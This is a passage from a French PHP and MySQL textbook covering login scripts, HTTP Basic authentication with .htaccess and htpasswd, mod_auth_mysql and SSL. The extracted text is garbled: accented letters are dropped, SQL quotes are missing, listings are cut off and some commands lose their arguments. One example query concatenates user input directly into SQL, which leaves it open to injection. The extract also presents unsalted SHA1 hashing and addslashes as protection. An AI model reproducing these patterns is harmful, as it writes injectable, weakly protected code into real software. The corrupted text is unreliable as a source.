Scurit
Chapitre 15
377
Figure 15.1
Ce formulaire HTML demande aux visiteurs de saisir un nom dutilisateur et un mot de passe
pour accder au site.
Si des paramtres sont fournis, mais quils ne soient pas corrects, le programme affiche
un message derreur (voir Figure 15.2).
Figure 15.2
Lorsquun utilisateur saisit des informations errones, il faut afficher un message derreur.
Sur un site rel, vous pouvez choisir un message plus sympathique.
378
Partie III
Scurit
Figure 15.3
Lorsque les visiteurs fournissent des informations correctes, le script affiche la page de contenu
confidentielle.
Chapitre 15
379
contient un nom dutilisateur et un mot de passe cods directement dans son code
source ;
380
Partie III
Scurit
Chapitre 15
381
La base de donnes que nous utilisons peut tre cre en ouvrant une session MySQL
sous le compte de lutilisateur root et en excutant le contenu du Listing 15.3.
Listing 15.3 : creeauthdb.sql Requtes MySQL pour crer la base de donnes auth,
la table utilisateurs_ok et deux utilisateurs
create database auth;
use auth;
create table utilisateurs_ok ( nom varchar(20),
mdp varchar(40),
primary key(nom)
);
insert into utilisateurs_ok values ( utilisateur1,
secret );
insert into utilisateurs_ok values ( utilisateur2,
sha1(secret) );
grant select on auth.*
to authweb
identified by authweb;
flush privileges;
382
Partie III
Scurit
sembler vident. La caractristique la plus intressante de sha1() est que sa sortie est
dterministe, cest--dire que, pour une chane et une cl de chiffrement donnes,
sha1() renverra toujours le mme rsultat.
la place de ce code PHP :
if (($nom == utilisateur1) &&
($mdp == secret)) {
// OK la combinaison est correcte
}
Nous navons pas besoin de connatre le mot de passe qui a t transform avec
sha1() : il suffit de comparer les deux mots de passe chiffrs.
Comme nous lavons dj vu, au lieu de coder directement dans un script les noms des
utilisateurs et les mots de passe associs, il est prfrable de stocker ceux-ci dans un
fichier spar ou dans une base de donnes.
Si nous utilisons une base de donnes MySQL pour enregistrer nos donnes dauthentification, nous pouvons nous servir de la fonction PHP sha1() ou de la fonction MySQL
SHA1(). MySQL fournit une gamme encore plus tendue dalgorithmes de hachage que
PHP, mais ils ont tous le mme but.
Pour utiliser SHA1(), nous pouvons rcrire la requte SQL du Listing 15.2 comme
ceci :
$requete = "select count(*) from utilisateurs_ok where
nom = " . $nom . " and
mdp = sha1(" . $mdp . ")";
Chapitre 15
383
Si vous rexaminez le Listing 15.3, vous constaterez que nous avons cr un utilisateur
avec un mot de passe non chiffr (utilisateur1) et un autre utilisateur avec un mot
de passe chiffr (utilisateur2) afin dillustrer les deux approches.
Protger plusieurs pages
La cration dun script de ce genre pour protger plusieurs pages est un peu plus
complexe. Comme le protocole HTTP est un protocole sans tat, il nexiste aucun lien
automatique ni aucune association entre les diffrentes requtes provenant dune mme
personne. Il est donc assez difficile de conserver des informations dauthentification
entre diffrentes pages.
Le moyen le plus simple de protger plusieurs pages consiste utiliser les mcanismes de
contrle daccs fournis par votre serveur web. Nous allons les passer rapidement en revue.
Pour crer nous-mmes cette fonctionnalit, il faut inclure certaines parties du script
prsent dans le Listing 15.1 dans chaque page que vous souhaitez protger. En utilisant auto prepend file et auto append file, nous pouvons complter automatiquement le code ncessaire pour chaque fichier, dans chaque rpertoire. Lutilisation de ces
directives a t prsente au Chapitre 5.
Si nous choisissons cette approche, que se passera-t-il lorsque nos visiteurs parcoureront plusieurs pages de notre site ? Il est inenvisageable de leur demander de saisir
nouveau leur nom et leur mot de passe pour chaque page afficher.
Nous pourrions ajouter les informations quils ont saisies dans chaque lien hypertexte
de la page. Comme les noms dutilisateurs peuvent contenir des espaces ou dautres
caractres interdits dans les URL, nous devons nous servir de la fonction urlencode()
pour coder correctement ces caractres.
Cependant, cette approche cre galement quelques problmes. En effet, comme les
donnes dauthentification sont incluses dans les pages web envoyes lutilisateur,
elles seront visibles dans lhistorique du navigateur. En outre, ces donnes tant changes entre le navigateur et le serveur pour chaque page demande, elles sont transmises
beaucoup plus souvent quil nest ncessaire.
Il existe deux mthodes intressantes pour rsoudre ces problmes : les sessions et
lauthentification de base du protocole HTTP. Lauthentification de base permet de
rsoudre le problme de lhistorique, mais le navigateur envoie toujours le mot de passe
au serveur lors de chaque requte. Le mcanisme de contrle par le biais des sessions
permet de rsoudre ces deux problmes. Nous allons maintenant nous intresser au
mcanisme dauthentification de base du protocole HTTP, puis nous reviendrons sur le
contrle de session au Chapitre 21 puis plus en dtail au Chapitre 25, "Authentification
des utilisateurs et personnalisation".
384
Partie III
Scurit
Authentification de base
Heureusement, lauthentification des utilisateurs tant une tche trs courante, le protocole HTTP intgre cette fonction. Les scripts et les serveurs web peuvent demander une
authentification un navigateur web qui se charge alors dafficher une bote de dialogue
ou une fentre pour demander lutilisateur les informations ncessaires.
Bien que le serveur web redemande les dtails dauthentification pour chaque requte
dutilisateur, le navigateur web na pas besoin de demander ces informations lutilisateur pour chaque page car il mmorise gnralement ces informations tant quune fentre de navigation reste ouverte et les renvoie automatiquement au serveur web sans les
redemander lutilisateur.
Cette caractristique du protocole HTTP est appele authentification de base. Vous
pouvez lactiver avec PHP ou en utilisant les mcanismes intgrs dans votre serveur
web. Nous allons dabord prsenter sa mise en uvre avec PHP, puis avec Apache.
Lauthentification de base nest pas trs sre puisquelle transmet le nom de lutilisateur
et son mot de passe en clair. Le protocole HTTP 1.1 dfinit une mthode plus scurise,
appele authentification digest, qui se sert dun algorithme de hachage (gnralement
MD5) pour cacher les dtails de cette transaction. Lauthentification digest est prise en
charge par de nombreux serveurs web et par la plupart des navigateurs actuels. Cependant, il existe un grand nombre danciens navigateurs toujours en usage qui ne prennent
pas en charge lauthentification digest et en proposent une version dans certaines
versions dInternet Explorer et dInternet Information Server qui est incompatible avec
les produits non Microsoft.
Outre quelle nest pas disponible pour un nombre significatif de navigateurs web,
lauthentification digest nest pas non plus trs scurise. On considre gnralement
que lauthentification de base, comme lauthentification digest, fournit un faible niveau
de scurit. Aucune dentre elles ne donne lutilisateur lassurance quil communique
bien avec lordinateur auquel il avait lintention daccder, ce qui permet donc un
pirate dintercepter la requte avant de la renvoyer au vrai serveur. Lauthentification de
base transmettant le mot de passe de lutilisateur en clair, elle permet nimporte quel
pirate capable de capturer les paquets de se faire passer pour nimporte quel utilisateur.
Lauthentification de base fournit donc un niveau de scurit assez faible, comparable
celui qui est utilis traditionnellement pour se connecter des ordinateurs via telnet ou
FTP, puisque ces deux protocoles transmettent galement les mots de passe en clair.
Lauthentification digest est un peu plus scurise, puisquelle chiffre les mots de passe
avant de les transmettre.
Lorsque vous combinez lauthentification de base avec SSL et les certificats numriques, toutes les parties dune transaction web peuvent tre protges dune manire
Chapitre 15
385
fiable. Si vous avez besoin dune scurit forte, consultez le Chapitre 16. Cependant,
dans la plupart des cas, une mthode relativement rapide et peu scurise (comme
lauthentification de base) est suffisante.
Lauthentification de base permet de protger un espace nomm en demandant aux
utilisateurs de fournir un nom dutilisateur et un mot de passe valides. Ces espaces
scuriss possdent chacun un nom pour quil puisse en exister plusieurs sur un mme
serveur. Diffrents fichiers ou rpertoires dun mme serveur peuvent appartenir
diffrents espaces scuriss, chacun tant protg par un nom dutilisateur et un mot de
passe diffrents. Les espaces scuriss permettent galement de regrouper plusieurs
rpertoires sur le mme hte pour les protger avec un seul mot de passe.
386
Partie III
Scurit
Le code du Listing 15.4 fonctionne comme celui des prcdents listings de ce chapitre. Si
lutilisateur na pas encore fourni dinformations dauthentification, elles lui seront demandes ; sil fournit des informations errones, il obtient un message derreur ; sil saisit un
nom dutilisateur et un mot de passe valides, il peut accder au contenu de la page.
Lutilisateur verra cependant une interface lgrement diffrente de celle des autres
listings. Nous ne fournissons aucun formulaire HTML pour les informations de
connexion, mais le navigateur de lutilisateur affiche une bote de dialogue. Certaines
personnes considrent quil sagit dune amlioration, alors que dautres prfrent
contrler intgralement les aspects visuels de linterface. La bote de dialogue de
connexion, telle quelle est affiche par Firefox, est prsente la Figure 15.4.
Figure 15.4
Lapparence de la bote de dialogue de lauthentification HTTP dpend du navigateur
de lutilisateur.
Chapitre 15
387
388
Partie III
Scurit
Il ny a rien de neuf dans ces fichiers. En revanche, le Listing 15.7 prsente le contenu
du fichier .htaccess, qui permet de contrler laccs aux fichiers et aux sous-rpertoires
du rpertoire o il se trouve.
Listing 15.7 : htaccess Un fichier .htaccess peut dfinir plusieurs paramtres
de configuration dApache et notamment activer lauthentification
ErrorDocument 401 /chapitre15/rejet.html
AuthUserFile /home/livre/.htpass
AuthGroupFile /dev/null
AuthName "Nom-Espace"
AuthType Basic
require valid-user
indique Apache le document afficher pour les visiteurs qui nont pas russi
sauthentifier. Vous pouvez utiliser dautres directives ErrorDocument pour proposer
vos propres pages derreur la place des erreurs HTTP standard. La syntaxe de cette
directive est la suivante :
ErrorDocument numro_erreur URL
Pour une page qui produit lerreur 401, il est important que son URL soit disponible
pour tout le monde. En effet, il nest pas trs intressant de fournir une page derreur
personnalise indiquant aux utilisateurs que leur authentification a chou si cette page
se trouve dans un rpertoire dont laccs suppose la russite de lauthentification.
La ligne :
AuthUserFile /home/livre/.htpass
indique Apache lendroit o il peut trouver le fichier contenant les mots de passe des
utilisateurs autoriss. Ce fichier sappelle souvent .htpass, mais vous pouvez lui donner
nimporte quel nom car il na aucune importance, contrairement son emplacement. En
effet, il ne doit pas se trouver dans larborescence des documents ni dans un rpertoire
Chapitre 15
389
accessible via le serveur web. Notre fichier dexemple .htpass est prsent dans le
Listing 15.8.
Il est galement possible dindiquer que seuls les utilisateurs autoriss qui appartiennent certains groupes peuvent accder aux ressources. Comme ce mcanisme ne nous
intresse pas, nous avons ajout la ligne :
AuthGroupFile /dev/null
pour que notre AuthGroupFile pointe vers /dev/null, un fichier spcial des systmes
Unix qui ne contient rien du tout.
Comme dans lexemple prcdent, pour se servir de lauthentification HTTP, il faut
fournir un nom lespace scuriser, comme ceci :
AuthName "Nom-Espace"
Vous pouvez choisir nimporte quel nom pour lespace scuriser, mais noubliez pas
que ce nom apparatra vos visiteurs. Pour bien indiquer quil faudrait modifier cette
valeur, nous avons choisi le nom "Nom Espace".
Comme il existe plusieurs mthodes dauthentification diffrentes, nous devons indiquer
celle que nous utilisons.
Nous nous servons de lauthentification de base, savoir lauthentification Basic,
comme lindique la directive suivante :
AuthType Basic
Nous devons galement prciser qui a le droit daccder aux pages. Nous pouvons dsigner des utilisateurs particuliers, des groupes ou, comme nous lavons fait, permettre
tous les utilisateurs authentifis daccder ces pages.
La ligne suivante :
require valid-user
indique que nimporte quel utilisateur autoris a le droit daccder aux pages.
Listing 15.8 : .htpass Le fichier des mots de passe contient le nom dutilisateur
et le mot de passe chiffr de chaque utilisateur
utilisateur1:0nRp9M80GS7zM
utilisateur2:nC13sOTOhp.ow
utilisateur3:yjQMCPWjXFTzU
utilisateur4:LOmlMEi/hAme2
390
Partie III
Scurit
Le contenu exact de votre fichier .htpass sera diffrent. Pour le crer, vous pouvez vous
servir dun petit programme appel htpasswd, fourni avec la distribution dApache et
dont la syntaxe est la suivante :
htpasswd [-cmdps] fichier_des_mots_de_passe nom_utilisateur
ou :
htpasswd -b[cmdps] fichier_des_mots_de_passe nom_utilisateur mot_de_passe
La seule option que vous devrez utiliser est c car cest elle qui demande htpasswd de
crer le fichier. Vous ne devrez videmment nutiliser cette option que pour le premier
utilisateur que vous ajoutez. Faites attention de ne pas lutiliser pour les autres utilisateurs
car, si le fichier existe dj, htpasswd le supprime et en cre un nouveau.
Les options m, d, p et s peuvent tre utilises si vous souhaitez prciser lalgorithme de
cryptage utiliser (ou aucun chiffrement).
Loption b demande au programme de prendre le mot de passe en paramtre au lieu de
le demander. Cette approche est intressante si vous souhaitez appeler htpasswd de
manire non interactive, dans un processus de traitement par lots, mais elle ne doit pas
tre utilise si vous appelez htpasswd partir de la ligne de commande.
Le fichier .htpass du Listing 15.8 a t cr laide des commandes suivantes :
htpasswd
htpasswd
htpasswd
htpasswd
Notez que htpasswd peut ne pas se trouver dans votre chemin : en ce cas, indiquez le
chemin qui y mne. Sur de nombreux systmes, vous le trouverez dans le rpertoire
/usr/local/apache/bin.
Cette mthode dauthentification est simple mettre en uvre, mais cette utilisation
dun fichier .htaccess peut poser quelques problmes.
Les noms dutilisateurs et les mots de passe sont enregistrs dans un fichier texte.
Chaque fois quun navigateur demande un fichier qui est protg par le fichier .htaccess, le serveur doit analyser le fichier .htaccess, puis analyser le fichier de mots de
passe et tenter de trouver un nom dutilisateur et un mot de passe qui correspondent. Au
lieu dutiliser un fichier .htaccess, nous pouvons prciser les mmes lments dans le
fichier httpd.conf, le fichier de configuration principal du serveur web. En effet, alors
quun fichier .htaccess est analys chaque requte de fichier, le fichier httpd.conf nest
analys quune seule fois, au dmarrage du serveur. Cette approche est donc plus
rapide, mais elle signifie quil faudra arrter et redmarrer le serveur chaque fois que
vous souhaitez apporter des modifications.
Chapitre 15
391
Quel que soit lendroit o nous enregistrons les directives du serveur, le fichier de mot
de passe devra de toute faon tre analys pour chaque requte. Cela signifie que,
comme pour les autres techniques qui se servent dun fichier plat, cette approche ne
convient pas pour authentifier des centaines dutilisateurs, voire des milliers.
5. Crez une base de donnes et une table MySQL destines contenir les informations dauthentification. Vous navez pas besoin de crer une base de donnes ou
392
Partie III
Scurit
une table particulires. Vous pouvez rcuprer une table existante, comme celle de
la base de donnes auth de lexemple prcdent.
6. Ajoutez une ligne dans votre fichier httpd.conf pour fournir mod auth mysql les
paramtres dont il a besoin pour se connecter MySQL. La directive correspondante ressemble ceci :
Auth_MySQL_Info hostname utilisateur mot_de_passe
Si Apache dmarre avec la directive Auth MySQL Info dans son fichier httpd.conf, cest
que lajout de mod auth mysql a fonctionn.
Utilisation de mod_auth_mysql
Aprs avoir install ce module, son utilisation nest pas plus complexe que celle de
mod auth. Le Listing 15.9 prsente un exemple de fichier .htaccess permettant
dauthentifier les utilisateurs avec des mots de passe chiffrs, stocks dans la base de
donnes cre prcdemment dans ce chapitre.
Listing 15.9 : .htaccess Ce fichier permet dauthentifier les utilisateurs avec une base
de donnes MySQL
ErrorDocument 401 /chapitre15/rejet.html
AuthName "Nom-Espace"
AuthType Basic
Auth_MySQL_DB auth
Auth_MySQL_Encryption_Types MySQL
Auth_MySQL_Password_Table utilisateurs_ok
Auth_MySQL_Username_Field nom
Auth_MySQL_Password_Field mdp
require valid-user
Vous pouvez constater que lessentiel du Listing 15.9 est identique au Listing 15.7. Il
faut toujours indiquer un document derreur afficher lorsque lerreur 401 se produit
(cest--dire lorsque lauthentification choue). Il faut galement prciser lauthentification de base et fournir un nom pour lespace scuriser. Comme dans le Listing 15.7,
nous autorisons tous les utilisateurs correctement authentifis.
Comme nous nous servons de mod auth mysql et que nous ne souhaitons pas utiliser
tous les paramtres par dfaut, nous devons fournir plusieurs directives pour prciser le
fonctionnement de ce module. Auth MySQL DB, Auth MySQL Password Table,
Chapitre 15
393
Auth MySQL Username Field et Auth MySQL Password Field permettent, respectivement, dindiquer le nom de la base de donnes, celui de la table, le champ correspondant
au nom dutilisateur et le champ contenant le mot de passe.
Nous avons inclus la directive Auth MySQL Encryption Types pour prciser que nous
souhaitons utiliser le chiffrement des mots de passe de MySQL. Les diffrentes valeurs
possibles sont Plaintext, Crypt DES ou MySQL. La valeur par dfaut est Crypt DES et elle
correspond au chiffrement standard des mots de passe sous Unix, avec lalgorithme DES.
Du point de vue de lutilisateur, cet exemple de mod auth mysql fonctionne exactement
de la mme manire que celui de mod auth. Lutilisateur obtient une bote de dialogue
fournie par son navigateur web. Sil russit sauthentifier, il peut visualiser le contenu
de la page, sinon il obtient une page derreur.
Pour la plupart des sites, mod auth mysql est donc idal. Il sagit dune mthode rapide,
relativement simple implmenter, qui permet dutiliser tous les mcanismes avantageux pour ajouter des entres correspondant aux nouveaux utilisateurs. Pour une plus
grande souplesse et pour pouvoir contrler plus prcisment certaines parties des pages,
vous pouvez implmenter votre propre authentification laide de PHP et de MySQL.
394
Partie III
Scurit
Pour la suite
Nous verrons au prochain chapitre comment surveiller vos donnes tout au long de leur
traitement, de leur saisie leur stockage en passant par leur transmission. Ce mcanisme implique lutilisation de SSL, des certificats numriques et du chiffrement.
16
Transactions scurises avec PHP
et MySQL
Dans ce chapitre, nous verrons comment assurer la scurit des donnes de lutilisateur
depuis leur saisie jusqu leur stockage en passant par leur transmission. Cela nous
permettra dimplmenter une transaction scurise de bout en bout entre notre site et
lutilisateur.
Transactions scurises
Pour fournir des transactions scurises sur Internet, il faut examiner le flux dinformations de votre systme et vous assurer que vos informations sont scurises chaque
instant. Dans le contexte de la scurit rseau, il nexiste aucune mthode absolue.
Aucun systme nest jamais parfaitement impntrable. Par scuris, nous voulons
donc dire quil faudra beaucoup defforts pour compromettre un systme ou une transmission par rapport limportance des donnes impliques.
Si nous devons rellement tudier la scurit de notre systme, il faut donc examiner le
flux des informations qui passent travers toutes les parties de ce systme. Le flux des
informations dun utilisateur dans une application typique, crite avec PHP et MySQL,
est prsent la Figure 16.1.
Les dtails de chaque transaction sur votre systme peuvent varier lgrement, en fonction de larchitecture du systme et des donnes ou des actions des utilisateurs qui ont
entran la transaction, mais le principe reste le mme. Chaque transaction entre une
application web et un utilisateur commence avec lenvoi dune requte vers le serveur
web par le navigateur de lutilisateur, en passant par Internet. Si la page est un script
PHP, le serveur web dlgue le traitement de cette page au moteur PHP.
396
Partie III
Navigateur
de
l'u ilisateur
Scurit
Internet
Serveur
web
Moteur
PHP
Moteur
MySQL
Pages
et scripts
stocks
Fichiers
de
donnes
Base de
donnes
MySQL
Figure 16.1
Les informations des utilisateurs sont stockes ou traites par les lments suivants
dun environnement dapplication web typique.
Le script PHP peut lire ou crire des informations sur le disque. Il peut galement
faire appel dautres fichiers PHP ou HTML, avec include() ou require(). Il peut
aussi envoyer des requtes SQL au serveur MySQL et recevoir les rponses correspondantes. Le moteur MySQL soccupe de lire et dcrire ses propres donnes sur le
disque.
Ce systme est compos de trois parties :
m
lordinateur de lutilisateur ;
Internet ;
votre systme.
Chapitre 16
397
398
Partie III
Scurit
teur sous la forme de cookies. Au Chapitre 21, nous verrons comment utiliser les
cookies pour enregistrer quelques donnes (une cl de session).
La majorit des donnes que vous devez mmoriser devrait plutt se trouver sur le
serveur web ou dans votre base de donnes. Il y a plusieurs bonnes raisons pour lesquelles il vaut mieux enregistrer le moins dinformations possible sur la machine de lutilisateur. En effet, lorsque les informations sont en dehors de votre systme, vous ne
pouvez pas contrler leur niveau de scurit, vous ne pouvez pas vous assurer que
lutilisateur ne les effacera pas ni empcher lutilisateur de les modifier pour tenter de
tromper votre systme.
Internet
Comme pour lordinateur de lutilisateur, il y a peu daspects dInternet que vous
pouvez contrler mais, l aussi, ce nest pas pour autant quil faut les ignorer lors de la
conception du systme.
Internet possde plusieurs caractristiques trs intressantes, mais il sagit par essence
dun rseau peu scuris. Lorsque vous envoyez des informations dun point un autre,
il ne faut pas oublier que dautres personnes peuvent intercepter ou modifier les informations transmises. Sachant cela, vous pouvez choisir de :
m
m
transmettre quand mme les informations, en sachant quelles peuvent tre interceptes ;
signer numriquement les informations avant de les transmettre, pour les protger
contre dventuelles tentatives de modification ;
chiffrer les informations avant de les transmettre afin de garantir leur confidentialit
et de les protger contre les tentatives de modification ;
dcider que vos informations sont trop sensibles pour risquer de les transmettre de
cette manire et trouver une autre manire de les distribuer.
Chapitre 16
399
Ces deux technologies offrent un cadre solide assurant la confidentialit et lauthenticit des changes, mais SSL est dj largement utilis et disponible, alors que S-HTTP
na pas vraiment dcoll. Nous reviendrons sur SSL un peu plus loin dans ce chapitre.
Votre systme
La partie que vous pouvez le mieux contrler est naturellement votre systme. Celui-ci
correspond aux composants contenus dans la bote rectangulaire de la Figure 16.1. Ces
composants peuvent tre isols physiquement sur un rseau ou se trouver tous lintrieur
dun mme ordinateur.
Vous pouvez raisonnablement penser que vous navez pas besoin de vous occuper de la
scurit des informations, puisque les produits annexes que vous utilisez pour fournir
notre contenu sur le Web sen occupent dj. Les auteurs de ces logiciels ont probablement pass beaucoup de temps sur ce sujet, en principe plus que vous-mme. Tant que
vous utiliserez la dernire version dun produit reconnu, vous trouverez avec Google ou
votre moteur de recherche web favori toutes les informations ncessaires pour rsoudre
vos problmes. Il est donc trs important de mettre jour rgulirement vos logiciels.
Si linstallation et la configuration de votre systme vous incombent, vous devez porter
une attention particulire la manire dont les logiciels sont installs et configurs. La
plupart des erreurs dans le domaine de la scurit proviennent gnralement dun nonrespect des conseils fournis dans les documentations ou rsultent daspects gnraux de
ladministration systme donnant matire un autre livre. Procurez-vous un bon livre
sur ladministration du systme dexploitation que vous avez lintention dutiliser ou
embauchez un administrateur systme expert.
Lors de linstallation de PHP, on considre gnralement quil est plus scuris (et
galement plus efficace) de linstaller sous la forme dun module SAPI pour votre
serveur web, plutt que lexcuter via une interface CGI.
La premire chose faire en tant que dveloppeur dapplication web est de sintresser
ce que font vos scripts et ce quils ne font pas. Quelles sont les donnes sensibles
que votre application transmet lutilisateur via Internet ? Quelles sont les informations
sensibles que nous demandons aux utilisateurs de transmettre ? Si nous transmettons
des donnes qui font partie dune transaction prive entre notre systme et nos utilisateurs ou qui ne doivent pas tre interceptes et modifies, vous devriez songer utiliser
SSL.
Nous avons dj parl de lutilisation de SSL entre lordinateur de lutilisateur et le
serveur. Il convient galement denvisager le cas dune transmission de donnes entre
plusieurs composants de votre systme sur un rseau. Un exemple classique est celui
400
Partie III
Scurit
dune base de donnes MySQL qui se trouverait sur un autre ordinateur que votre
serveur web. Dans ce cas, PHP se connecte votre serveur MySQL via TCP/IP et cette
connexion nest pas chiffre. Si les deux ordinateurs participants cette communication
appartiennent un rseau local priv, vous devez vous assurer que ce rseau est scuris. Si les ordinateurs communiquent via Internet, votre systme sera probablement
ralenti et vous devrez traiter cette connexion de la mme manire que toute autre
connexion passant par Internet.
Il est important que vos visiteurs, partir du moment o ils pensent traiter avec vous,
soient rellement connects votre site. Vous pouvez vous procurer un certificat numrique pour les protger dun autre site qui se ferait passer pour le vtre, mais aussi pour
permettre lutilisation de SSL sans afficher de message davertissement chez vos utilisateurs et pour amliorer limage de marque de votre site commercial.
Est-ce que vos scripts vrifient avec prcaution les donnes saisies par les utilisateurs ?
Faut-il se donner la peine denregistrer les informations dune manire scurise ?
Nous rpondrons ces questions dans les prochaines sections de ce chapitre.
Utilisation de SSL
Le protocole SSL (Secure Sockets Layer) a t conu lorigine par Netscape pour
simplifier les communications scurises entre les serveurs et les navigateurs web. Il a
ensuite t transform en mthode standard non officielle permettant aux navigateurs et
aux serveurs dchanger des informations sensibles.
Les versions 2 et 3 de SSL sont trs largement prises en charge. La plupart des serveurs
web ont t conus pour intgrer ce protocole ou pour accepter des modules correspondants. Internet Explorer et Firefox supportent ce protocole depuis sa version 3.
Les protocoles rseau et les logiciels qui les implmentent sont gnralement organiss
sous la forme dune pile de couches. Chaque couche peut transmettre des donnes (ou
demander des services) la couche suprieure ou infrieure. La Figure 16.2 prsente un
exemple de pile de protocoles.
Figure 16.2
La pile de protocoles
utilise par un protocole
du niveau application,
comme le protocole HTTP.
HTTP
FTP SMTP
TCP/UDP
IP
Variable
Couche Application
Couche Transport
Couche Rseau
Couche Hte Rseau
Lorsque vous vous servez du protocole HTTP pour transfrer des informations, celui-ci
fait appel au protocole TCP (Transmission Control Protocol), qui son tour sappuie
sur le protocole IP (Internet Protocol). Ce dernier a lui-mme besoin dun protocole
Chapitre 16
401
HTTP
SSL
Handshake
Protocol
SSL
Change
Cipher
SSL
Alert
Protocol
Couche Application
Couche SSL
Couche Transport
Couche Rseau
Couche Hte-Rseau
SSL est capable de fournir un environnement de transmission scuris pour des protocoles autres que le protocole HTTP puisque la couche SSL est transparente. Le niveau
SSL fournit la mme interface au protocole situ au-dessus de lui que la couche transport sous-jacente. Il peut donc soccuper dune manire transparente du chiffrement, du
dchiffrage et du contrle de la transmission.
Lorsquun navigateur se connecte un serveur web scuris via HTTP, les deux parties
doivent respecter un protocole dchange pour se mettre daccord sur certains points,
comme lauthentification et le chiffrement.
La squence dchange passe par les tapes suivantes :
1. Le navigateur se connecte un serveur SSL et demande au serveur de sauthentifier.
2. Le serveur envoie son certificat numrique.
3. Le serveur peut demander (mais cest rare) au navigateur de sauthentifier son
tour.
402
Partie III
Scurit
Chapitre 16
Nos donnes
403
<html><head><title>Ma Page</title>
Empaquetage
Paquets de donnes
<html><hea
d><title>M
a Page</ti
Compression
Donnes compresses
Calcul du MAC
Code d'authentification
du message
Chiffrement
Paquets chiffrs
Paquet TCP
En tte
TCP
Figure 16.4
SSL dcompose, compresse, hache et chiffre les donnes avant de les envoyer.
Lorsquon tente de compresser une suite de caractres qui est devenue alatoire aprs
avoir t chiffre, on ne peut pas compresser les donnes de manire efficace. Il serait
dommage que SSL, qui a t conu pour amliorer la scurit rseau, ait pour effet de
ralentir le trafic rseau.
Bien que SSL soit relativement complexe, les utilisateurs et les dveloppeurs sont
protgs de la plupart des problmes qui peuvent se poser, puisque les interfaces de
SSL reproduisent fidlement celles des protocoles existants.
TLS (Transport Layer Security), actuellement dans sa version 1.1, repose directement
sur SSL 3.0, mais il contient des amliorations destines combler certaines faiblesses
de SSL et offre une flexibilit accrue.
404
Partie III
Scurit
Nous avons dj mentionn dans ce livre plusieurs techniques permettant de filtrer les
donnes des utilisateurs. Nous allons les rcapituler, titre de rfrence :
m
La fonction addslashes() sert filtrer les donnes avant de les passer une base de
donnes. Cette fonction supprime les caractres susceptibles de poser problme
dans la base. La fonction stripslashes() permet de rtablir une chane filtre dans
son tat initial.
Vous pouvez activer les directives magic quotes gpc et magic quotes runtime
dans votre fichier php.ini. Ces directives ajoutent et suppriment automatiquement
les barres obliques votre place. La directive magic quotes gpc applique ce formatage aux requtes GET et POST en entre et aux variables des cookies, tandis que la
directive magic quote runtime lapplique aux donnes qui entrent ou qui sortent
des bases de donnes.
La fonction escapeshellcmd() peut tre utilise lorsque vous passez des donnes
saisies par les utilisateurs un appel system() ou exec(), ou entre des backticks
(apostrophes inverses). Elle supprime tous les mta-caractres qui pourraient forcer
votre systme excuter des commandes arbitraires entres par un utilisateur
malveillant.
Vous pouvez vous servir de la fonction strip tags() pour supprimer les balises
HTML et PHP dans une chane. Cela empche les utilisateurs malveillants dinsrer
des scripts dans des donnes utilisateur susceptibles dtre renvoyes au navigateur.
La fonction htmlspecialchars() convertit les caractres en entits HTML. Par
exemple, < est converti en <. Cette fonction transforme toutes les balises de
scripts en caractres inoffensifs.
Stockage scuris
Les trois sortes de donnes qui peuvent tre enregistres (cest--dire les fichiers PHP
ou HTML, les donnes des scripts et les donnes MySQL) sont souvent conserves
dans diffrents emplacements dun mme disque bien quelles soient reprsentes sparment (voir Figure 16.1). Chaque type de stockage ncessite diverses prcautions que
nous allons maintenant tudier en dtail.
Les donnes les plus dangereuses sont sans conteste les fichiers excutables. Sur un site
web, il sagit gnralement de scripts. Il faut prendre garde dfinir correctement les
droits daccs dans votre arborescence web, cest--dire celle qui commence au rpertoire htdocs sur un serveur Apache ou au rpertoire inetpub sur un serveur IIS. Les utilisateurs doivent pouvoir lire vos scripts afin den afficher le rsultat, mais ils ne doivent
pas pouvoir les modifier.
Chapitre 16
405
Cette rgle est galement valable pour les rpertoires situs dans larborescence web.
Vous seul devez tre capable de modifier ces rpertoires. Les autres utilisateurs, y
compris lutilisateur sous le compte duquel le serveur sexcute, ne doivent pas pouvoir
modifier ou crer de nouveaux fichiers dans des rpertoires susceptibles dtre chargs
par le serveur web. Si vous permettez ces utilisateurs dcrire des fichiers dans ces
rpertoires, ils pourraient y dposer un script malicieux et lexcuter laide du serveur.
Si vos scripts ont besoin de droits daccs en criture sur certains fichiers, crez un
rpertoire spcial en dehors de larborescence web. Cette rgle est particulirement
valable pour les scripts de dpots de fichiers. Il ne faut jamais mlanger les scripts et les
donnes quils crivent.
Lorsque vous crivez des donnes sensibles, vous pouvez choisir de les chiffrer, bien
que cela napporte pas forcment une scurit accrue. En effet, si votre serveur web
contient un fichier appel numeros_cartes_de_credit.txt et quun pirate arrive sintroduire dans votre serveur et lire ce fichier, il est fort possible quil arrive galement
lire les autres fichiers de votre serveur. Pour chiffrer et dchiffrer les donnes, vous avez
besoin dun programme permettant de les chiffrer, dun autre pour les dchiffrer et de
un ou plusieurs fichiers contenant des cls. Si le pirate peut lire vos donnes, il peut
probablement accder aussi ces fichiers.
Le chiffrement des donnes peut tre intressant sur un serveur web uniquement si les
logiciels et les cls de chiffrement se trouvent non pas sur le serveur lui-mme, mais sur
un autre ordinateur. Vous pouvez par exemple chiffrer vos donnes sur le serveur, puis
les transmettre un autre ordinateur, ventuellement par e-mail.
Les informations contenues dans les bases de donnes sont comparables des fichiers
de donnes. Si vous configurez MySQL correctement, seul MySQL peut crire dans ses
propres fichiers de donnes. Cela signifie quil ne vous reste plus qu vous occuper des
accs des utilisateurs MySQL. Nous avons dj prsent le systme des permissions
de MySQL, lequel affecte des droits daccs chaque utilisateur et chaque hte.
Il convient cependant dobserver que vous devrez souvent crire un mot de passe
MySQL dans un script PHP. Vos scripts PHP sont en gnral accessibles tout le
monde. En fait, cela ne pose pas vraiment de problme : moins que la configuration de
votre serveur web ne soit compromise, votre code PHP nest pas accessible depuis
lextrieur.
Si votre serveur est configur pour analyser les fichiers .php avec linterprteur PHP,
les personnes extrieures ne pourront pas rcuprer le code source non interprt.
Cependant, il faut faire attention lorsque vous utilisez dautres extensions. Si vous
placez des fichiers .inc dans vos rpertoires web, nimporte quelle personne qui les
demande recevra leur code source. Il faut donc placer les fichiers inclure en dehors
406
Partie III
Scurit
de larborescence web ou configurer votre serveur pour quil nenvoie pas les fichiers
possdant cette extension, ou leur donner lextension .php.
Si vous partagez un serveur web avec dautres personnes, votre mot de passe MySQL
peut tre accessible aux utilisateurs de cet ordinateur, qui peuvent galement excuter
des scripts avec le mme serveur. En fonction de la configuration de votre systme,
cette situation peut tre invitable. Pour rsoudre ce problme, vous pouvez configurer
